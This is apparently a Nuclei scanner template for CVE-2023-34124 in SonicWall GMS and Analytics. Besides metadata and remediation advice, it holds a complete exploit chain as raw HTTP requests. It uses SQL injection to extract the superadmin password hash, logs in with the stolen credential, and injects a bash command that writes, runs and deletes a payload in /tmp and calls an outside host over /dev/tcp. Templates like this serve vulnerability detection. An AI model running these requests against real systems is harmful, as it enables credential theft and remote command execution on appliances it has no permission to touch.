SonicWall GMS and Analytics Web Services - Shell Injection

id: CVE-2023-34124

info:
  name: SonicWall GMS and Analytics Web Services - Shell Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The authentication mechanism in SonicWall GMS and Analytics Web Services had insufficient checks, allowing authentication bypass. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
  remediation: |
    Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.
  reference:
    - https://raw.githubusercontent.com/rapid7/metasploit-framework/4b130f5be7590d04878f3bda37555e59e733324d/modules/exploits/multi/http/sonicwall_shell_injection_cve_2023_34124.rb
    - https://attackerkb.com/topics/Vof5fWs4rx/cve-2023-34127/rapid7-analysis
    - https://www.sonicwall.com/support/product-notification/urgent-security-notice-sonicwall-gms-analytics-impacted-by-suite-of-vulnerabilities/230710150218060/
    - https://github.com/getdrive/PoC/blob/main/2023/Sonicwall_Shell_Injection/sonicwall_shell_injection_cve_2023_34124.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34124
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34124
    cwe-id: CWE-287,CWE-305
    epss-score: 0.50477
    epss-percentile: 0.98923
    cpe: cpe:2.3:a:sonicwall:analytics:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: sonicwall
    product: analytics
    shodan-query: http.favicon.hash:-1381126564
    fofa-query: icon_hash=-1381126564
  tags: cve2023,cve,sonicwall,shell,injection,auth-bypass,intrusive,vkev,vuln
variables:
  callback: "echo 1 > /dev/tcp/{{interactsh-url}}/80"
  query: "' union select (select ID from SGMSDB.DOMAINS limit 1), '', '', '', '', '', (select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0),'', '', '"
  secret: '?~!@#$%^^()'
  auth: "{{hmac('sha1', query, secret)}}"
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /ws/msw/tenant/%27%20union%20select%20%28select%20ID%20from%20SGMSDB.DOMAINS%20limit%201%29%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%28select%20concat%28id%2C%20%27%3A%27%2C%20password%29%20from%20sgmsdb.users%20where%20active%20%3D%20%271%27%20order%20by%20issuperadmin%20desc%20limit%201%20offset%200%29%2C%27%27%2C%20%27%27%2C%20%27 HTTP/1.1
        Host: {{Hostname}}
        Auth: {"user": "system", "hash": "{{base64(hex_decode(auth))}}"}
      - |
        GET /appliance/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /appliance/applianceMainPage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=login&skipSessionCheck=0&needPwdChange=0&clientHash={{ md5(concat(servertoken,replace_regex(alias,"^.*:",""))) }}&password={{replace_regex(alias,"^.*:","")}}&applianceUser={{replace_regex(alias,":.*$","")}}&appliancePassword=Nice%20Try&ctlTimezoneOffset=0
      - |
        POST /appliance/applianceMainPage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        num=3232150&action=file_system&task=search&item=application_log&criteria=*&width=500&searchFolder=%2Fopt%2FGMSVP%2Fetc%2F&searchFilter=appliance.jar%3Bbash+-c+PLUS%3d\$\(echo\+-e\+begin-base64\+755\+a\\\\nKwee\\\\n\%3d\%3d\%3d\%3d\+\|\+uudecode\+-o-\)\%3becho\+-e\+begin-base64\+755\+/tmp/.{{filename}}\\\\n{{replace(base64(callback),"+","${PLUS}")}}\\\\n\%3d\%3d\%3d\%3d\+|+uudecode+%3b/tmp/.{{filename}}%3brm+/tmp/.{{filename}}%3becho+

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "<title>SonicWall Universal Management Appliance</title>"
          - "<title>SonicWall Universal Management Host</title>"
        condition: or

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

    extractors:
      - type: json
        part: body
        internal: true
        name: alias
        group: 1
        json:
          - '.alias'

      - type: regex
        part: body
        internal: true
        name: servertoken
        group: 1
        regex:
          - "getPwdHash.*,'([0-9]+)'"